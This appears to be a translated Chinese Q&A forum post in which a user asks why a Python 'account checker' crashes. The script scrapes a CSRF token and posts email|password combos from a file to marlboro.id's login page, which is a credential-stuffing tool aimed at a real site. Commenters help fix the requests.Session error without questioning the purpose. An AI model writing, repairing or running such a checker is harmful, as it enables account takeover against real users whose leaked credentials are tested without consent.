【发布时间】:2020-03-16 19:47:57
【问题描述】:
我想用python创建账户检查器
这是我的代码
import requests
from bs4 import BeautifulSoup
class output(object):
def tested(self, email, password):
print(f" Posted: {email} {password}")
# Get CSRF TOKEN
class checker_start(object):
def get_token(self):
data = requests.get("https://www.marlboro.id/auth/login")
soup = BeautifulSoup(data.text, "lxml")
decide_csrf = soup.find("input", {"name": "decide_csrf"})["value"]
return decide_csrf
def post(self, combo):
decide_csrf = self.get_token()
email = combo[0]
password = combo [1]
api = requests.sessions
# Creating POST METHOD #
param = {"_method": "POST", "decide_csrf": decide_csrf, "email": email, "password": password}
source = api.post("https://www.marlboro.id/auth/login", data=param).text
if """<div class="err__msg-big">Opps!</div>""" in source:
output().tested(email, password)
else:
output().tested(email, password)
def start(self):
file = input("Please input your txt file: ")
data = open(file, "r").readlines()
data_s = [lines.replace("\n", " ") for lines in data]
for lines in data_s:
combo = lines.split("|")
self.post(combo)
if __name__ == "__main__":
checker_start().start()
但是当我运行这些代码时,输出是:
Traceback(最近一次调用最后一次):文件 “/Users/erzajullian/PycharmProjects/Checker/marlboro.py”,第 39 行,在 checker_start().start() 文件“/Users/erzajullian/PycharmProjects/Checker/marlboro.py”,第 36 行,在 开始 self.post(combo) 文件“/Users/erzajullian/PycharmProjects/Checker/marlboro.py”,第 23 行,在 邮政 source = api.post("https://www.marlboro.id/auth/login", data=param).text AttributeError: module 'requests.sessions' has no 属性“帖子”
如何解决这些问题?谢谢
【问题讨论】:
-
你试过
api = requests.Session()而不是requests.sessions吗? -
嗨,我刚刚尝试编辑 api = requests.sessions(),但输出仍然错误
-
TypeError: 'module' 对象不可调用
-
什么时候出现新的错误?您确实可以在此处查看有关会话使用的文档:docs.python-requests.org/en/master/user/advanced
标签: python